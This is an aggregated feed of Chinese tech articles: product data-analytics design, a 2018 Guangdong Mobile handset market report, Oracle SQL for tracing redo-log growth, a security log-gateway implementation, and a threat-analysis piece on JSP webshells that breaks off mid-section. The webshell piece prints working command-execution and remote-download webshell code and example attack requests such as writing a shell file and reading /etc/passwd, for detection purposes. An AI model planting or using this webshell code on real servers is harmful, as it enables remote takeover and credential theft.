以下内容仅针对问题1在产品数据体系思路层面进行介绍，主要面向平台类产品策划。不足之处请多包涵。

一、为何要建设数据分析体系？

任何一个产品的迭代与运营都需要数据进行指导，基于线上数据情况，可以更准确的支持策划与运营同学做出有效决策。

二、数据分析体系包含哪些部分？

不同行业与不同公司对产品体系的定义与诉求不同，这里仅以平台类抽象举例，包含：存储格式、上报逻辑、计算逻辑与展现方式。

三、为什么包含这些内容？

如果PM想监测一种数据，首先需要打开数据报表来查看（即展现方式），而数据报表的制作依赖要拿到这些数据(即上报逻辑)，这些数据上报后如何在后台计算才可以支持报表快速展现(即计算逻辑)，这些数据均基于用户行为触发而生成，因此需要在用户触发某个行为时进行数据上报（即上报逻辑）。

最后，数据上报如果是杂乱无章的，则在进行数据提取时会遇到各种各样复杂的问题，因此我们需要给数据上报定义一个格式，格式和开发约定好，以此格式为依据，开发进行后台数据库定义存储(即存储格式)。

四、每个内容详细是什么？

存储格式

即开发与产品同学约定好的数据上报格式，产品同学根据这个格式制定数据上报账单，开发同学根据这个格式进行数据存储，拿最简单的数据格式举例：

上报逻辑

约定好上报格式后，产品侧根据自身目的定制上报账单，举例：

开发拿到此账单后，根据“上报时机”进行数据上报，上报后数据直接存储到后台以构建的数据库中，即完成数据采集。

其中，“页面id”和“标记id”用于给每个上报分配其“唯一识别标识”，方便后面做出具处理。上报时机则根据自身产品进行定义，通常会有“点击时”、“曝光时”和“停留时”几类。

计算逻辑

通常，产品发布后我们会拿到海量数据上报，如果不对这些数据进行过滤和计算，则后期提取时则耗时巨大。因此需要在数据存储后对数据进行一次过滤，目的是剔除无效数据并加快数据提取速度。这里涉及涉及到比较复杂的数据挖掘算法，每个公司都会搭建专门的数据研发团队，不再赘述，仅用下图简单描述。

展现方式

通常情况下，数据经过一层处理存储到过滤表后，依旧不是我们最终想要的数据，部分数据需要再处理一次并制作数据报表以支持后续快速查看，这里涉及到两个问题：

1，过滤表中的数据如何做成数据报表？
2，数据报表通常有哪些？

第1个问题，这里就与之前的“数据账单”有关，根据之前的数据账单，构建数据处理逻辑，给到开发进行进一步开发，并根据你的目的绘制数据报表格式。拿上面的数据账单举例：

比方说，我想监测“每天点击某个按钮的性别分布是怎样的？”，那么我需要给开发提需求，以“拓展字段1”为区分，开发数据报表，其中标记id为1，仅提取该标记下的数据。报表样式如下：

之后开发即可了解如何进行报表开发，后面只需要等待开发完成，每日定时监测报表数据即可。其他类型的报表逻辑同上。

第2个问题，不同产品的报表区分维度不同，比较常用的有用户数据与用户行为类数据，如果是平台类产品还应该包含内容类数据。

用户数据：基于用户生命周期的各项数据。
用户行为数据：用户在使用产品时各个页面各个按钮的操作记录。
内容类数据：app内容用户消费情况与流转情况(新闻/商品/游戏等均为内容)

五、总结

本文主要介绍一个产品的数据体系建设逻辑，主要包含：“存储格式”、“上报逻辑”、“计算逻辑”和“展现方式”。多数内容抽象到1到2个点进行介绍，仅仅为对数据分析后台建设感兴趣的同学进行思路疏通。

另外，不同公司有不同的数据建设框架，市面上也有不少性价比较高的数据SDK可以直接拿来使用，但思路大同小异。

以上，如有意见或深入问题探讨，可随时联系。

本文由 @观花原创发布于人人都是产品经理。未经许可，禁止转载。

题图来自 Unsplash，基于 CC0 协议

广东移动：终端行业分析报告

Thu, 09 Aug 2018 23:45:17 CST

报告结果总览：

1）相较于第一季度，第二季度市场略有缩小

2）华为表现不俗，市场占比，用户忠诚度均优于其他品牌

3）选择在6-12月内的换机用户比例有较大幅度增长

4）华为、苹果、OPPO、VIVO四大品牌中超50%的用户忠诚于原品牌

5）用户更爱换至安卓机，流向苹果用户数量减少

（一）手机市场总洞察：第二季度销量下滑，华为超过苹果，iPhone以及OPPO机型表现出色

2018年第二季度的三个月，用户新增手机数量相较于第一季度，减幅达到300多万台。

第二季度用户新增手机品牌中，华为销量超越苹果占第一，国产品牌占据了TOP5中的四席。

从用户换机前后的的市场份额占比看，OPPO及华为在第二季度的增长幅度最大，其中华为增长4.16%，OPPO增长4.62%

iPhone和OPPO机型表现出色，瓜分排名的前10。

（二）用户换机行为总洞察：超3成用户不到半年就换机，四大品牌用户忠诚度超50%

相比起第一季度，第二季度依然有34.59%的用户的换机周期是在半年内的，换机周期在6-12个月的用户大幅增长。

华为、苹果、OPPO及 VIVO的用户忠诚度均高于50%，即超过50%的用户还会换至原品牌。其中，华为的用户忠诚度高于其他品牌。

用户在手机品牌选择更换时有以下几个明显的转变：

1、华为用户更倾向于更换至苹果以及OPPO；

2、苹果用户更倾向于换至华为及OPPO；

3、OPPO用户更倾向于换至VIVO、苹果及华为；

4、VIVO用户更倾向于换至OPPO及华为。

* 数据来源：中国移动通信集团广东有限公司内部数据

* 数据对象：中国移动通信集团广东有限公司用户

* 取数时间：2018年4月-6月

* 备注：本报告结论均为取数时间段内广东地区移动客户新增手机市场，未包含其他区域及运营商。本数据通过客户使用服务过程中合法数据分析获得。

来自：广东移动

如何定位那些SQL产生了大量的redo日志

Wed, 04 Apr 2018 21:30:04 CST

在ORACLE数据库的管理、维护过程中，偶尔会遇到归档日志暴增的情况,也就是说一些SQL语句产生了大量的redo log，那么如何跟踪、定位哪些SQL语句生成了大量的redo log日志呢？下面这篇文章结合实际案例和官方文档“How to identify the causes of High Redo Generation (文档 ID 2265722.1)”来实验验证一下。

首先，我们需要定位、判断那个时间段的日志突然暴增了，注意，有些时间段生成了大量的redo log是正常业务行为，有可能每天这个时间段都有大量归档日志生成，例如，有大量作业在这个时间段集中运行。而要分析突然、异常的大量redo log生成情况，就必须有数据分析对比，找到redo log大量产生的时间段，缩小分析的范围是第一步。合理的缩小范围能够方便快速准确定位问题SQL。下面SQL语句分别统计了redo log的切换次数的相关数据指标。这个可以间接判断那个时间段产生了大量归档日志。

/******统计每天redo log的切换次数汇总,以及与平均次数的对比*****/
WITH T AS 
(
    SELECT TO_CHAR(FIRST_TIME, 'YYYY-MM-DD')    AS LOG_GEN_DAY, 
           TO_CHAR(SUM(DECODE(TO_CHAR(FIRST_TIME, 'YYYY-MM-DD'), 
                       TO_CHAR(FIRST_TIME, 'YYYY-MM-DD'), 1, 0))
                , '999') AS "LOG_SWITCH_NUM" 
    FROM   V$LOG_HISTORY 
  WHERE FIRST_TIME < TRUNC(SYSDATE)  --排除当前这一天
    GROUP  BY TO_CHAR(FIRST_TIME, 'YYYY-MM-DD') 
)
SELECT  T.LOG_GEN_DAY
          , T.LOG_SWITCH_NUM
          , M.AVG_LOG_SWITCH_NUM
      , (T.LOG_SWITCH_NUM-M.AVG_LOG_SWITCH_NUM) AS DIFF_SWITCH_NUM
FROM  T CROSS JOIN 
(
    SELECT  TO_CHAR(AVG(T.LOG_SWITCH_NUM),'999') AS AVG_LOG_SWITCH_NUM
    FROM T
) M
ORDER BY T.LOG_GEN_DAY DESC;

SELECT    TO_CHAR(FIRST_TIME,'YYYY-MM-DD') DAY,
                TO_CHAR(SUM(DECODE(TO_CHAR(FIRST_TIME,'HH24'),'00',1,0)),'999') "00",
                TO_CHAR(SUM(DECODE(TO_CHAR(FIRST_TIME,'HH24'),'01',1,0)),'999') "01",
                TO_CHAR(SUM(DECODE(TO_CHAR(FIRST_TIME,'HH24'),'02',1,0)),'999') "02",
                TO_CHAR(SUM(DECODE(TO_CHAR(FIRST_TIME,'HH24'),'03',1,0)),'999') "03",
                TO_CHAR(SUM(DECODE(TO_CHAR(FIRST_TIME,'HH24'),'04',1,0)),'999') "04",
                TO_CHAR(SUM(DECODE(TO_CHAR(FIRST_TIME,'HH24'),'05',1,0)),'999') "05",
                TO_CHAR(SUM(DECODE(TO_CHAR(FIRST_TIME,'HH24'),'06',1,0)),'999') "06",
                TO_CHAR(SUM(DECODE(TO_CHAR(FIRST_TIME,'HH24'),'07',1,0)),'999') "07",
                TO_CHAR(SUM(DECODE(TO_CHAR(FIRST_TIME,'HH24'),'08',1,0)),'999') "08",
                TO_CHAR(SUM(DECODE(TO_CHAR(FIRST_TIME,'HH24'),'09',1,0)),'999') "09",
                TO_CHAR(SUM(DECODE(TO_CHAR(FIRST_TIME,'HH24'),'10',1,0)),'999') "10",
                TO_CHAR(SUM(DECODE(TO_CHAR(FIRST_TIME,'HH24'),'11',1,0)),'999') "11",
                TO_CHAR(SUM(DECODE(TO_CHAR(FIRST_TIME,'HH24'),'12',1,0)),'999') "12",
                TO_CHAR(SUM(DECODE(TO_CHAR(FIRST_TIME,'HH24'),'13',1,0)),'999') "13",
                TO_CHAR(SUM(DECODE(TO_CHAR(FIRST_TIME,'HH24'),'14',1,0)),'999') "14",
                TO_CHAR(SUM(DECODE(TO_CHAR(FIRST_TIME,'HH24'),'15',1,0)),'999') "15",
                TO_CHAR(SUM(DECODE(TO_CHAR(FIRST_TIME,'HH24'),'16',1,0)),'999') "16",
                TO_CHAR(SUM(DECODE(TO_CHAR(FIRST_TIME,'HH24'),'17',1,0)),'999') "17",
                TO_CHAR(SUM(DECODE(TO_CHAR(FIRST_TIME,'HH24'),'18',1,0)),'999') "18",
                TO_CHAR(SUM(DECODE(TO_CHAR(FIRST_TIME,'HH24'),'19',1,0)),'999') "19",
                TO_CHAR(SUM(DECODE(TO_CHAR(FIRST_TIME,'HH24'),'20',1,0)),'999') "20",
                TO_CHAR(SUM(DECODE(TO_CHAR(FIRST_TIME,'HH24'),'21',1,0)),'999') "21",
                TO_CHAR(SUM(DECODE(TO_CHAR(FIRST_TIME,'HH24'),'22',1,0)),'999') "22",
                TO_CHAR(SUM(DECODE(TO_CHAR(FIRST_TIME,'HH24'),'23',1,0)),'999') "23"
FROM V$LOG_HISTORY
GROUP BY TO_CHAR(FIRST_TIME,'YYYY-MM-DD') 
ORDER BY 1 DESC;

如下案例所示，2018-03-26日有一个归档日志暴增的情况，我们可以横向、纵向对比分析，然后判定在17点到18点这段时间出现异常，这个时间段与往常对比，生成了大量的redo log。

这里分享一个非常不错的分析redo log 历史信息的SQL

-----------
REM Author: Riyaj Shamsudeen @OraInternals, LLC
REM         www.orainternals.com
REM
REM Functionality: This script is to print redo size rates in a RAC claster
REM **************
REM
REM Source  : AWR tables
REM
REM Exectution type: Execute from sqlplus or any other tool.
REM
REM Parameters: No parameters. Uses Last snapshot and the one prior snap
REM No implied or explicit warranty
REM
REM Please send me an email to rshamsud@orainternals.com, if you enhance this script :-)
REM  This is a open Source code and it is free to use and modify.
REM Version 1.20
REM
------------------------------------------------------------------------------------------------
 
set colsep '|'
set lines 220
alter session set nls_date_format='YYYY-MM-DD HH24:MI';
set pagesize 10000
with redo_data as (
SELECT instance_number,
       to_date(to_char(redo_date,'DD-MON-YY-HH24:MI'), 'DD-MON-YY-HH24:MI') redo_dt,
       trunc(redo_size/(1024 * 1024),2) redo_size_mb
 FROM  (
  SELECT dbid, instance_number, redo_date, redo_size , startup_time  FROM  (
    SELECT  sysst.dbid,sysst.instance_number, begin_interval_time redo_date, startup_time,
  VALUE -
    lag (VALUE) OVER
    ( PARTITION BY  sysst.dbid, sysst.instance_number, startup_time
      ORDER BY begin_interval_time ,sysst.instance_number
     ) redo_size
  FROM sys.wrh$_sysstat sysst , DBA_HIST_SNAPSHOT snaps
WHERE sysst.stat_id =
       ( SELECT stat_id FROM sys.wrh$_stat_name WHERE  stat_name='redo size' )
  AND snaps.snap_id = sysst.snap_id
  AND snaps.dbid =sysst.dbid
  AND sysst.instance_number  = snaps.instance_number
  AND snaps.begin_interval_time> sysdate-30
   ORDER BY snaps.snap_id )
  )
)
select  instance_number,  redo_dt, redo_size_mb,
    sum (redo_size_mb) over (partition by  trunc(redo_dt)) total_daily,
    trunc(sum (redo_size_mb) over (partition by  trunc(redo_dt))/24,2) hourly_rate
   from redo_Data
order by redo_dt, instance_number
/

分析到这个阶段，我们还只获取了那个时间段归档日志异常（归档日志暴增），那么要如何定位到相关的SQL语句呢？我们可以用下面SQL来定位：在这个时间段，哪些对象有大量数据块变化情况。如下所示，这两个对象(当然，对象有可能是表或索引，这个案例中，这两个对象其实是同一个表和其主键索引)有大量的数据块修改情况。基本上我们可以判断是涉及这个对象的DML语句生成了大量的redo log，当然有可能有些场景会比较复杂，不是那么容易定位。

SELECT TO_CHAR(BEGIN_INTERVAL_TIME, 'YYYY-MM-DD HH24') SNAP_TIME, 
       DHSO.OBJECT_NAME, 
       SUM(DB_BLOCK_CHANGES_DELTA)                     BLOCK_CHANGED 
FROM   DBA_HIST_SEG_STAT DHSS, 
       DBA_HIST_SEG_STAT_OBJ DHSO, 
       DBA_HIST_SNAPSHOT DHS 
WHERE  DHS.SNAP_ID = DHSS.SNAP_ID 
       AND DHS.INSTANCE_NUMBER = DHSS.INSTANCE_NUMBER 
       AND DHSS.OBJ# = DHSO.OBJ# 
       AND DHSS.DATAOBJ# = DHSO.DATAOBJ# 
       AND BEGIN_INTERVAL_TIME BETWEEN TO_DATE('2018-03-26 17:00', 
                                       'YYYY-MM-DD HH24:MI') 
                                       AND 
           TO_DATE('2018-03-26 18:00', 'YYYY-MM-DD HH24:MI') 
GROUP  BY TO_CHAR(BEGIN_INTERVAL_TIME, 'YYYY-MM-DD HH24'), 
          DHSO.OBJECT_NAME 
HAVING SUM(DB_BLOCK_CHANGES_DELTA) > 0 
ORDER  BY SUM(DB_BLOCK_CHANGES_DELTA) DESC;

此时，我们可以生成这个时间段的AWR报告，那些产生大量redo log的SQL一般是来自TOP Gets、TOP Execution中某个DML SQL语句或一些DML SQL语句，结合上面SQL定位到的对象和下面相关SQL语句，基本上就可以判断就是下面这两个SQL产生了大量的redo log。（第一个SQL是调用包，包里面有对这个表做大量的DELETE、INSERT操作）

如果你此时还不能完全断定，也可以使用下面SQL来辅佐判断那些SQL生成了大量的redo log。在这个案例中，上面AWR报告中发现的SQL语句和下面SQL捕获的SQL基本一致。那么可以进一步佐证。

注意，该SQL语句执行较慢，执行时需要修改相关条件：时间和具体段对象。

SELECT TO_CHAR(BEGIN_INTERVAL_TIME,'YYYY_MM_DD HH24') WHEN,
             DBMS_LOB.SUBSTR(SQL_TEXT,4000,1) SQL,
             DHSS.INSTANCE_NUMBER INST_ID,
             DHSS.SQL_ID,
             EXECUTIONS_DELTA EXEC_DELTA,
             ROWS_PROCESSED_DELTA ROWS_PROC_DELTA
FROM DBA_HIST_SQLSTAT DHSS,
         DBA_HIST_SNAPSHOT DHS,
         DBA_HIST_SQLTEXT DHST
WHERE UPPER(DHST.SQL_TEXT) LIKE '%<segment_name>%'  --此处用具体的段对象替换
  AND LTRIM(UPPER(DHST.SQL_TEXT)) NOT LIKE 'SELECT%'
  AND DHSS.SNAP_ID=DHS.SNAP_ID
  AND DHSS.INSTANCE_NUMBER=DHS.INSTANCE_NUMBER
  AND DHSS.SQL_ID=DHST.SQL_ID
  AND BEGIN_INTERVAL_TIME BETWEEN TO_DATE('2018-03-26 17:00','YYYY-MM-DD HH24:MI')
  AND TO_DATE('2018-03-26 18:00','YYYY-MM-DD HH24:MI')

其实上面分析已经基本完全定位到SQL语句，剩下的就是和开发人员或Support人员沟通、了解是正常业务逻辑变更还是异常行为。如果需要进一步挖掘深入，我们可以使用日志挖掘工具Log Miner深入分析。在此不做展开分析。其实个人在判断分析时生成了正常时段和出现问题时段的AWR对比报告（WORKLOAD REPOSITORY COMPARE PERIOD REPORT），如下所示，其中一些信息也可以供分析、对比参考。可以为复杂场景做对比分析（因为复杂场景，仅仅通过最上面的AWR报告可能无法准确定位SQL）

此次截图，没有截取相关SQL，其实就是最上面分析的SQL语句，如果复杂场景下，非常有用。

参考资料：

How to identify the causes of High Redo Generation (文档 ID 2265722.1)

安全日志系统数据网关实现

Thu, 11 Jan 2018 15:12:45 CST

0×00 概要

日志分析的前期工作的是日志的收集与日志的存储。数据的收集客户端程序有很多logstash、nxlog、filebeat等。数据存储比较流行的就是ElasticSearch，当数据的采集与存储阶段完成后，我们要做的是使用这些数据，ES提供数据检索功能，但这只最核心的检索API，从API到用户使用的交互界面之间，是数据检索的软件实现部分，将不同业务的数据分成不同的索引和不同的接口，或是有抽象出更高级一些的概念：流。

0×01 部署

回顾一下上篇的整体服务部署的结构。

上图中REST网关的实现方案，是这次我们讨论的重点。网关左侧是数据服务的使用者，图上指的就是PHP服务，通过PHP服务来实现的界面查询，数据可视化展示。REST网关的右侧是多层的数据检索服务提供者，不同的检索数据，我们可以创建不同的服务来实现，保持彼此之间的独立。如果为了方便简单，就不需要分太多的层次，如果数据没有那么复杂。可能考虑的防异常情况越多，系统设计的可能越复杂，下面就针对不同的应用场景，介绍一下数据中心网关的实现方案。

0×02 简单服务模式

有时我们的需求可能不复杂，就是将日志都存放ES里，然后提供一个REST API给外界使用就好，也不用任何的认证协议，传一个认证KEY就好，对一个人的安全团队来说，这种方式是最快速的，对外的接口，是直接对ES接口的按业务封装。这种情况，采用一种高抽象的语言和框架实现起来就更方便。这个就给出一人Python的实现方案。直接用Python Django的 REST框架来实现各种日志数据的REST接口实现。

Python语言的抽象度非常的高，Django框架随处可见，Django-REST作为一个典型的Django中间件，用起来简单方便。给出一个实例工程，来说明用Python实现是多么的便捷。Django REST这个中间最主要的用处就是提供了用户请求中的JSON解析和JSON响应的类，还提供数据模型等更高级的部件，对于封装ES查询来说，基本的这些可以完成基本的工作，下面我们给出具体的代码片段。

  import json

import pyes

from django.shortcuts import render

from datetime import datetime

from elasticsearch import Elasticsearch

from django.contrib.auth.models import User, Group

from bone.models import Testcase

from rest_framework import viewsets

from xwing.serializers import UserSerializer, GroupSerializer,TestcaseSerializer

from django.http import HttpResponse

from django.views.decorators.csrf import csrf_exempt

from rest_framework.renderers import JSONRenderer

from rest_framework.parsers import JSONParser

from xwing.models import Snippet

from xwing.serializers import SnippetSerializer

es = Elasticsearch('127.0.0.1:9201')

class JSONResponse(HttpResponse):

"""

An HttpResponse that renders it's content into JSON.

"""

def __init__(self, data, **kwargs):

content = JSONRenderer().render(data)

kwargs['content_type'] = 'application/json'

super(JSONResponse, self).__init__(content, **kwargs)

class UserViewSet(viewsets.ModelViewSet):

queryset = User.objects.all()

serializer_class = UserSerializer

class GroupViewSet(viewsets.ModelViewSet):

queryset = Group.objects.all()

serializer_class = GroupSerializer

class TestcaseViewSet(viewsets.ModelViewSet):

queryset = Testcase.objects.all()

serializer_class = TestcaseSerializer

@csrf_exempt

def get_phone_num(request, ver):

if request.method == 'GET':

return JSONResponse("GET_PHONE")

elif request.method == 'POST':

data = JSONParser().parse(request)

flg_identity = data.has_key('identity')

flg_token = data.has_key('token')

flg_phone = data.has_key('phone')

if not flg_token:

return JSONResponse('Token is empty!')

if not data['token'] == 'testkey123123123':

return JSONResponse('Token is invalid!')

if not flg_phone:

return JSONResponse('Phone is empty!')

phone_num = data['phone']

tmp_data = { 'query': { 'match': { 'phone': phone_num }}}

res = es.search( index='data', body = tmp_data )

ret_cnt = res['hits']['total']

return JSONResponse(ret_cnt)

python的一个抽象度很高的语言，大部分和HTTP协议，与ES查询的操作都被封装成了库，使用都只关心库的使用，集中精力实现具体的业务就好了。这个示例工程的代码不是很多，但也不能全贴上来，有些是Django框架内容，略过不贴了，给出github地址。

https://github.com/shengnoah/xwing

0×03 基于开源产品再次开发

在上一个方案我们使用的是用Python直接与ES交互，来完成业务数据结构的方案，这种方案的好处就是写起来快，确定是后期维护新增加的数据，要自己复制管理ES的索引，如果你有非常具体的定制ES结构需求可以自己管理，如果说没有太多的精力想去进行ES数据库结构的相关管理，而且还是硬代码级别的维护修改，那就可以基于某种现成的方案，拿来注义的使用开源新产品提供的数据网关，比如说：Graylog。Graylog把日志处理流程中的操作过程抽象出了类似Stream和Input、Dashboard这种业务上的逻辑概念，支持这些功能实现的关键是Graylog基于Java和NodeJS的Feature,这些都可以不关心，直接使用现成数据网关再做业务相关的封装就好。

上一个例子中，我们使用Python的库完成数据网关的实现，而这个方案中，我们是基于Moonscript和Openresty的实现的网关方案，这种方案的抽象度要低，要和HTTP直接打交道，好处就是基于Openresty的网关性能要比Python高，特别是在以后，如果数据访问规模特别大时，基于Openresty的服务，天然的性能就要好，下面我们给出基于Openresty+Moonscript的代码实现：

在ES存储中是没有什么Input和Stream的概念，这些都是 Graylog这种服务抽象出来的，如果我们想使用这种服务，就要基于Graylog提供的接口，实现和自己业务相关的SDK。

因为使用了开源中间件软件，层次结构上就多出一层，复杂度高了，下面我们给出了基于Graylog的SDK。

  class App extends lapis.Application

"/testcase": =>

--准备对应REST的输入参数，如果相应该有的项目没有设定会输出NG原因。

param_data= {

fields:'username',

limit:3,

query:'*',

from: '2017-01-05 00:00:00',

to:'2017-01-06 00:00:00',

filter:'streams'..':'..'673b1666ca624a6231a460fa'

}

--进行鉴权信息设定

url = GMoonSDK\auth 'supervisor', 'password', '127.0.0.1', '12600'

--调用对应'TYPE'相对应的REST服务，返回结果。

ret = GMoonSDK\dealStream 's_ua', param_data

ret

这样一来，上面用的PyES这次，用Moonscript自己实现了一次，而对REST请求的解析和响应靠的是Moonscript的Lapis框架，具体位置看下面的代码。

https://github.com/shengnoah/fortress

0×04 命令行式的查询工具

有人习惯命令行的方式来对日志文件进行查询，不想通过WEB页面进行查询也可以实现，不想自己实现SDK也可以，用Python版的Graylog的SDK也可以实现。

代码如下：

  import sys

import json

import time

import logging

import optparse

import datetime

import string

from pygraylog.graylogapi import GraylogAPI

import base64

import requests

graylog_server_auth = {

"url" : "http://127.0.0.1:12900",

"username" : "graylog",

"password" : "graylogpassword"

}

FIELDS_LIST = {

"IPS" : ",src_ip,src_ip_geolocation,src_port,type,target_ip,target_ip_geolocation,target_port,time,username", #IPS Fileds

}

STREAMS_LIST = {

"IPS" : "abc09bfeb62567184383123", #IPS

}

def search_ips_stream(stream_name, info_map):

api = GraylogAPI(graylog_server_auth['url'],

graylog_server_auth['username'],

graylog_server_auth['password'])

filter_values = "streams:" + STREAMS_LIST[stream_name]

fileds_values = FIELDS_LIST[stream_name]

ret = api.search.universal.absolute.get(fields = fileds_values,

query=info_map["query"],

from_ = info_map["from"],

to = info_map["to"],

filter=filter_values,

limit=info_map["limit"])

return ret

def opts():

usage = "usage: %prog -q ip -f fromdate -t todate -l limit -n username"

parser = optparse.OptionParser(usage=usage)

parser.add_option("-q", "--query",

action="append", dest='query', nargs=1, type='string',

help="query")

parser.add_option("-f", "--fromdate",

action="append", dest='fromdate', nargs=1, type='string',

help="fromdate.")

parser.add_option("-t", "--todate",

action="append", dest='todate', nargs=1, type='string',

help="todate.")

parser.add_option("-l", "--limit",

action="append", dest='limit', nargs=1, type='string',

help="limit.")

parser.add_option("-n", "--filename",

action="append", dest='filename', nargs=1, type='string',

help="filename.")

parser.add_option("--debug",

action="store_const", dest='debug',

help="enable debug log output", default=False, const=True)

options, args = parser.parse_args()

if len(args) < 1:

parser.error('You need to give "subscribe" or "publish" as <action>.')

if args[0] not in ['subscribe', 'publish', 'sendfile']:

parser.error('You need to give "subscribe" or "publish" as <action>.')

if options.debug:

logging.basicConfig(level=logging.DEBUG)

else:

logging.basicConfig(level=logging.CRITICAL)

action = args[0]

data = None

if action == 'publish':

data = ' '.join(args[1:])

elif action == 'sendfile':

data = ' '.join(args[1:])

return options, action, data

def main(opts, action, pubdata=None):

query = options.query[0]

fromdate = options.fromdate[0]

todate = options.todate[0]

limit = options.limit[0]

filename = options.filename[0]

info_map = {}

info_map["type"] = "vpn"

info_map["from"] = fromdate

info_map["to"] = todate

info_map["query"] = query

info_map["limit"] = limit

info_map["filename"] = filename

ret = search_ips_stream("IPS",info_map)

receive_data = json.loads(ret)

ret_filename = './data/' + 'total' + '.csv'

out_filename = './data/' + filename + '.csv'

ret_object = open(ret_filename,'a')

total = receive_data['total_results']

if total > 0:

uname = ""

for item in receive_data['messages']:

username = str(item['message']['username'])

uname = uname + username + " "

meta_data = "YES"+ "," + fromdate + "," + todate + "," +filename + "," + uname + "\n"

ret_object.write(meta_data)

else:

meta_info = "NO"+ "," + fromdate + "," + todate + "," + filename + "\n"

ret_object.write(meta_info)

ret_object.close()

output_object=open(out_filename,'w')

for item in receive_data['messages']:

username = str(item['message']['username'])

estime=""

timestamp = str(item['message']['timestamp'])

meta_info = username + ',' + timestamp + ',' + '\n'

output_object.write(meta_info)

output_object.close()

if __name__ == '__main__':

options, action, data = opts()

try:

sys.exit(main(options, action, pubdata=data))

except KeyboardInterrupt:

sys.exit(0)

这样我们就创建了一个命令行方式的查询工具，可以实现多条和业务相关的命令集，用这些命令完成复杂的自动化检索任务。

项目代码的位置在： https://github.com/shengnoah/graylog-console

命令行的意义就在于构建这部分的功能。

0×05 总结

日志数据网关是我们对收集来的的日志数据操作的一个核心部件，相当于一个基于REST API的日志数据驱动引擎，我们会围绕一套简单的定制SDK和命令行工具，发展出更多的功能，之后我们就会基于这套数据网关来实现更高级一些的数据审计任务，可视化任务，自动分析任务。

几种典型 JSP WebShell 的深度解析

Tue, 12 Dec 2017 21:24:58 CST

前言

对于一条威胁情报信息，我们需要分析该攻击的指纹信息、相关攻击工具、属于哪个组织、相关历史事件、历史相关攻击源IP等信息。通过这些信息进行关联分析，找到攻击来源。并根据攻击组织或个人的攻击偏好，做出相应的安全防护及进一步追踪溯源。

本文分析 Jsp WebShell 样本是通用型的，不需关注制作者是谁。但需要分析该 WebShell 的指纹、利用方式、相关工具等信息。

正文

环境搭建：

VMware + Windows XP iso + JspStudy / (Tomcat + JDK 1.7 + Mysql )，XP 设置桥接模式+虚拟机内配置 IPv4 与本机相同 C 段 IP。
创建相关 WebShell 文件，使用 JspStudy 方式搭建环境，文件置于 JspStudy \ WWW 目录下。使用 Tomcat + JDK 1.7 + Mysql 方式，将文件置于 apache-tomcat-7.0.82 \ webapps \ ROOT 目录下。

本文将分析 4 个典型的JSP WebShell。分别是：

(1) 无回显执行命令

(2) 有回显带密码验证

(3) 远程执行下载文件

(4) 菜刀型 WebShell

1.无回显执行命令的WebShell

代码如下：

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

打开 FireFox，连接该 WebShell页面显示空。使用 hackbar 执行指令：

执行成功，创建 c.txt 文件：

1.1 代码分析

Runtime.getRuntime().exec（） 方法是 Java 中用于执行外部的程序或命令的函数。 Runtime.getRuntime().exec共有六个重载方法，此次实验，我们使用第一个重载方法，仅传入字符串型指令。

request.getParameter("i") 方法是获取 URL 中传入的参数的值。方法中已指定参数 i ，因此只接受参数 i=xxxx。

根据代码分析，可以得知该 WebShell 功能为执行系统命令，无输出内容显示。权限为 Administrator。

1.2 特征分析

该 WebShell 只能执行系统命令，且无法在页面显示。因此当攻击者使用该 WebShell 时，Web 日志、Waf 及 DPI 等设备将会发现攻击者GET/POST请求该 URL，并且传入系统命令。

下面是在不同操作系统中利用该WebShell执行系统命令的例子，基于该行为特征，在日志中可发现该类型的 JSP WebShell。 Windows系统请求参数：

cmd /c echo xxxx(WebShell代码)>shell.jsp

Linux系统请求参数：

cat /etc/passwd >1.txt(网页访问该文件，得到账户密码)

2.有回显带密码验证

代码如下：

<%
    if("023".equals(request.getParameter("pwd")))
    {
        java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1)
        {
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

连接 WebShell,使用密码 023 及指令 ipconfig。页面回显出执行命令后的结果：

2.1 代码分析：

密码为 023，通过获取传入的 pwd 参数的值。使用 equals 方法进行比较：

"023".equals(request.getParameter("pwd"))

执行i参数传入的指令，将会返回数据。通过 getInputStream() 方法获取数据的字节流：

Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();

创建字节数组，用于存储字节数据。且该数组大小为 2048 字节：

byte[] b = new byte[2048];

while 循环中，不断的读取之前返回的字节流。每次读取一个字节，并转换为 string 类型输出，直到 in.read() 读取完所有数据返回结果为 -1。为了能在浏览器页面显示，使用 HTML 标签 <pre></pre> 包含数据：

 out.print("<pre>");
     while((a=in.read(b))!=-1)
     {
         out.println(new String(b));
     }
 out.print("</pre>");

2.2 特征分析

对比上一个 WebShell,多了回显功能及密码验证功能。该 WebShell 的利用需传入密码及系统命令两个参数。因此，Web 日志、Waf 及 DPI 等设备将会发现攻击者GET/POST访问该 URL，只传入密码和系统命令。基于该行为特征，在日志中可发现该类型的 JSP WebShell。不仅能发现连接密码，同时可发现攻击者执行的系统命令。下面是执行系统命令的例子：

Windows系统请求参数：

cmd /c echo xxxx(WebShell代码)>shell.jsp

Linux系统请求参数：

cat /etc/passwd >1.txt(网页访问该文件，得到账户密码)

3.远程执行下载文件

代码如下：

<%
    java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();
    byte[] b = new byte[1024];
    java.io.ByteArrayOutputStream baos = new
    java.io.ByteArrayOutputStream();
    int a = -1;
    while ((a = in.read(b)) != -1)
    {
        baos.write(b, 0, a);
    }
    new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray());
%>

该 WebShell 只有下载文件的功能，无法执行系统命令。传入文件名称和文件下载 URL，连接该 WebShell：

下载完成之后，在当前路径下生成 1.png 文件：

3.1 代码分析：

获取参数 u 的值，打开该 URL 获取字节流：

java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();

创建字节流数组,用于存入下载文件的字节流数据：

java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();

将字节流数据写入字节流数组中：

while ((a = in.read(b)) != -1)
{
        baos.write(b, 0, a);
}

因为 getRealPath("/")，传入路径为 "/"。获取当前 WebShell 所在文件夹的绝对路径。若文件夹外并不存在参数f所传入的文件名，则创建该文件，并写入字节流数组数据：

new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray());

3.2 特征分析：

通过 WebShell 检测工具 D 盾对该 WebShell 进行检测，发现检测正常：

